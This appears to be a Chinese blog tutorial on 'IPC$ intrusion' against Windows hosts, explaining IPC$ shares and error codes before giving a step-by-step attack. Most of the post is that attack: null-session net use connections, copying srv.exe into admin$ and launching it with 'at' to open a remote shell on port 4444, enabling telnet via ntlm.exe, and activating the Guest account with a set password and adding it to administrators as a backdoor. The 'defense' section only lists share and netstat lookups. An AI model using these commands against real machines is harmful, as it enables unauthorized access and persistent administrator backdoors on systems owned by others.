zoukankan      html  css  js  c++  java
  • 4. 内网渗透之IPC$入侵

    IPC$连接

    IPC$的概念:

    IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的
    命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

    IPC$的作用:

    利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。

    IPC$的利用条件:

    1. 139,445端口开启     
    ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过
    139,
    445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.

    2. 管理员开启了默认共享
    默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或
    windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问

    IPC$连接失败的原因:

    1.你的系统不是NT或以上操作系统.
    2.对方没有打开ipc$默认共享。
    3.不能成功连接目标的139,445端口.
    4.命令输入错误.
    5.用户名或密码错误.

    常见错误号:

    1.错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
    2.错误号51,Windows 无法找到网络路径 : 网络有问题;
    3.错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
    4.错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 
    5.错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 6.错误号1326,未知的用户名或错误密码 : 原因很明显了; 7.错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 8.错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。

    具体操作命令:

    1.建立IPC$空连接:

    net use \127.0.0.1ipc$ "" /user:""

    2.建立完整的用户名,密码连接:

    net use \127.0.0.1ipc$ "password" /user:"username"

    3.映射路径:

    net use z: \127.0.0.1c$ "密码" /user:"用户名"  (即可将对方的c盘映射为自己的z盘,其他盘类推)

    4.访问/删除路径:

    net use z: \127.0.0.1c$   #直接访问
    net use c: /del     删除映射的c盘,其他盘类推 
    net use * /del      删除全部,会有提示要求按y确认

    5.删除IPC$连接:

    net use \127.0.0.1ipc$ /del

    6.入侵过程:

    (1)

    C:>net use \127.0.0.1IPC$ "" /user:"admintitrators" 
    
    这是用《流光》扫到的用户名是administrators,密码为""的IP地址,如果是打算攻击的话,
    就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"",所以第一个引号处就不用输入,
    后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

    (2)

    C:>copy srv.exe \127.0.0.1admin$ 
    
    先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:winntsystem32,
    大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

    (3)

    C:>net time \127.0.0.1 
    
    查查时间,发现127.0.0.1 的当前时间是 2019/2/8 上午 11:00,命令成功完成。

    (4)

    C:>at \127.0.0.1 11:05 srv.exe 
    用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

    (5)

    C:>net time \127.0.0.1
    
    再查查到时间没有?如果127.0.0.1 的当前时间是 2019/2/8 上午 11:05,说明srv.exe已经执行,那就准备开始下面的命令。

    (6)

    C:>telnet 127.0.0.1 4444
    这里会用到Telnet命令吧,注意端口是4444。Telnet默认的是23端口,但是我们使用的是srv.exe在对方计算机中为我们建立一个4444端口的Shell。 虽然我们可以Telnet上去了,但是srv.exe是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

    (7)

    C:>copy ntlm.exe \127.0.0.1admin$
    用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

    (8)

    C:WINNTsystem32>ntlm
     
    输入ntlm启动(这里的C:WINNTsystem32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。
    当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! 

    (9)

    Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单

    (10)

    为了以防万一,我们再把guest激活加到管理组    
    C:>net user guest /active:yes 
    将对方的Guest用户激活

    (11)

    C:>net user guest 123456
    将Guest的密码改为123456,或者你要设定的密码

    (12)

    C:>net localgroup administrators guest /add
    将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

    7.如何防御IPC$入侵:

    net share       #查看自己的共享
    net view \IP   #查看target的共享
    netstat -A IP   #获取target的user列表

    8.netstat延伸使用:

    netstat -ano | findstr "port"  #查看端口号对应的PID
    tasklist | findstr "PID"       #查看进程号对应的程序

    参考连接:

    内网渗透实战-IPC$入侵之远程控制

  • 相关阅读:
    UVALive 5983 MAGRID DP
    2015暑假训练(UVALive 5983
    poj 1426 Find The Multiple (BFS)
    poj 3126 Prime Path (BFS)
    poj 2251 Dungeon Master 3维bfs(水水)
    poj 3278 catch that cow BFS(基础水)
    poj3083 Children of the Candy Corn BFS&&DFS
    BZOJ1878: [SDOI2009]HH的项链 (离线查询+树状数组)
    洛谷P3178 [HAOI2015]树上操作(dfs序+线段树)
    洛谷P3065 [USACO12DEC]第一!First!(Trie树+拓扑排序)
  • 原文地址:https://www.cnblogs.com/bmjoker/p/10355934.html
Copyright © 2011-2022 走看看